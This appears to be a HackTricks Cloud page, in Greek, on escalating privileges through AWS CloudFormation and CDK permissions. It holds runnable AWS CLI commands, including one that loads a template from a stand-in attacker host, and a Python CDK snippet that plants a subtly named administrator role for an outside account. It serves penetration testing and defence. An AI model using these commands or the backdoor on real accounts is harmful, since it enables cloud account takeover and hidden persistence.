AWS - Cloudformation Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
cloudformation
Για περισσότερες πληροφορίες σχετικά με το cloudformation, ελέγξτε:
AWS - CloudFormation & Codestar Enum
iam:PassRole, cloudformation:CreateStack
Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να κλιμακώσει τα προνόμια δημιουργώντας ένα CloudFormation stack με ένα προσαρμοσμένο πρότυπο, φιλοξενούμενο στον διακομιστή τους, για να εκτελέσει ενέργειες υπό τις άδειες ενός καθορισμένου ρόλου:
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
Στην παρακάτω σελίδα έχετε ένα παράδειγμα εκμετάλλευσης με την επιπλέον άδεια cloudformation:DescribeStacks:
iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
Πιθανές Επιπτώσεις: Privesc στον ρόλο υπηρεσίας cloudformation που καθορίζεται.
iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)
Σε αυτή την περίπτωση μπορείτε να καταχραστείτε μια υπάρχουσα στοίβα cloudformation για να την ενημερώσετε και να κλιμακώσετε τα προνόμια όπως στο προηγούμενο σενάριο:
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
Η άδεια cloudformation:SetStackPolicy μπορεί να χρησιμοποιηθεί για να δώσετε στον εαυτό σας άδεια UpdateStack πάνω σε ένα stack και να εκτελέσετε την επίθεση.
Πιθανές Επιπτώσεις: Privesc στον ρόλο υπηρεσίας cloudformation που έχει καθοριστεί.
cloudformation:UpdateStack | cloudformation:SetStackPolicy
Εάν έχετε αυτή την άδεια αλλά όχι iam:PassRole, μπορείτε ακόμα να ενημερώσετε τα stacks που χρησιμοποιούνται και να εκμεταλλευτείτε τους IAM Ρόλους που έχουν ήδη συνημμένα. Ελέγξτε την προηγούμενη ενότητα για παράδειγμα εκμετάλλευσης (απλά μην υποδείξετε κανέναν ρόλο στην ενημέρωση).
Η άδεια cloudformation:SetStackPolicy μπορεί να χρησιμοποιηθεί για να δώσετε στον εαυτό σας άδεια UpdateStack πάνω σε ένα stack και να εκτελέσετε την επίθεση.
Πιθανές Επιπτώσεις: Privesc στον ρόλο υπηρεσίας cloudformation που είναι ήδη συνημμένος.
iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
Ένας επιτιθέμενος με άδειες να περάσει έναν ρόλο και να δημιουργήσει & εκτελέσει ένα ChangeSet μπορεί να δημιουργήσει/ενημερώσει ένα νέο cloudformation stack και να εκμεταλλευτεί τους ρόλους υπηρεσίας cloudformation όπως με το CreateStack ή UpdateStack.
Η παρακάτω εκμετάλλευση είναι μια παραλλαγή της CreateStack χρησιμοποιώντας τις άδειες ChangeSet για να δημιουργήσει ένα stack.
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1
echo "Waiting 2 mins to change the stack"
sleep 120
aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1
echo "Waiting 2 mins to execute the stack"
sleep 120
aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
Η άδεια cloudformation:SetStackPolicy μπορεί να χρησιμοποιηθεί για να δώσετε στον εαυτό σας άδειες ChangeSet πάνω σε ένα stack και να εκτελέσετε την επίθεση.
Πιθανές Επιπτώσεις: Privesc σε ρόλους υπηρεσίας cloudformation.
(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
Αυτό είναι όπως η προηγούμενη μέθοδος χωρίς να περάσετε IAM ρόλους, οπότε μπορείτε απλά να καταχραστείτε αυτούς που είναι ήδη συνδεδεμένοι, απλά τροποποιήστε την παράμετρο:
--change-set-type UPDATE
Πιθανές Επιπτώσεις: Privesc στον ρόλο υπηρεσίας cloudformation που είναι ήδη συνδεδεμένος.
iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτές τις άδειες για να δημιουργήσει/ενημερώσει StackSets για να εκμεταλλευτεί αυθαίρετους ρόλους cloudformation.
Πιθανές Επιπτώσεις: Privesc στους ρόλους υπηρεσίας cloudformation.
cloudformation:UpdateStackSet
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια χωρίς την άδεια passRole για να ενημερώσει StackSets για να εκμεταλλευτεί τους συνδεδεμένους ρόλους cloudformation.
Πιθανές Επιπτώσεις: Privesc στους συνδεδεμένους ρόλους cloudformation.
AWS CDK
Το AWS cdk είναι ένα εργαλείο που επιτρέπει στους χρήστες να ορίζουν την υποδομή τους ως κώδικα σε γλώσσες που ήδη γνωρίζουν, καθώς και να επαναχρησιμοποιούν εύκολα τμήματα. Το CDK στη συνέχεια μετατρέπει τον υψηλού επιπέδου κώδικα (π.χ. python) σε πρότυπα Cloudformation (yaml ή json).
Για να χρησιμοποιήσετε το CDK, ένας διαχειριστικός χρήστης πρέπει πρώτα να εκκινήσει τον λογαριασμό, ο οποίος δημιουργεί αρκετούς ρόλους IAM, συμπεριλαμβανομένου του exec role, ο οποίος έχει */* άδειες. Αυτοί οι ρόλοι ακολουθούν τη δομή ονοματοδοσίας cdk-<qualifier>-<name>-<account-id>-<region>. Η εκκίνηση πρέπει να γίνει μία φορά ανά περιοχή ανά λογαριασμό.
Από προεπιλογή, οι χρήστες CDK δεν έχουν πρόσβαση για να καταγράψουν τους ρόλους που απαιτούνται για τη χρήση του CDK, πράγμα που σημαίνει ότι θα χρειαστεί να τους προσδιορίσετε χειροκίνητα. Εάν παραβιάσετε τη μηχανή ενός προγραμματιστή ή κάποιο κόμβο CI/CD, αυτοί οι ρόλοι μπορούν να υποτεθούν για να σας δώσουν τη δυνατότητα να αναπτύξετε πρότυπα CFN, χρησιμοποιώντας τον ρόλο cfn-exec για να επιτρέψετε στο CFN να αναπτύξει οποιουσδήποτε πόρους, πλήρως παραβιάζοντας τον λογαριασμό.
Προσδιορισμός των ονομάτων ρόλων
Εάν έχετε cloudformation:DescribeStacks, οι ρόλοι ορίζονται σε ένα stack που ονομάζεται CDKToolkit, και μπορείτε να τραβήξετε τα ονόματα από εκεί.
Εάν βρίσκεστε σε μια μηχανή που έχει χρησιμοποιηθεί για την κατασκευή και ανάπτυξη έργων CDK, μπορείτε να τα τραβήξετε από το cdk.out/manafest.json στον ριζικό κατάλογο των έργων.
Μπορείτε επίσης να κάνετε μια καλή εκτίμηση για το ποιοι είναι. Το qualifier είναι μια συμβολοσειρά που προστίθεται στους ρόλους επιτρέποντας την ανάπτυξη πολλαπλών περιπτώσεων της εκκίνησης CDK ταυτόχρονα, ωστόσο η προεπιλεγμένη τιμή είναι σκληρά κωδικοποιημένη σε hnb659fds.
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
Προσθήκη κακόβουλου κώδικα στην πηγή του έργου
Αν μπορείτε να γράψετε στην πηγή του έργου, αλλά δεν μπορείτε να το αναπτύξετε μόνοι σας (για παράδειγμα, ο προγραμματιστής αναπτύσσει τον κώδικα μέσω CI/CD, όχι από το τοπικό μηχάνημα), μπορείτε να συμβιβάσετε το περιβάλλον προσθέτοντας κακόβουλους πόρους στο stack. Το παρακάτω προσθέτει έναν ρόλο IAM που μπορεί να αναληφθεί από έναν λογαριασμό επιτιθέμενου σε ένα έργο python CDK.
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
Αναφορές
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

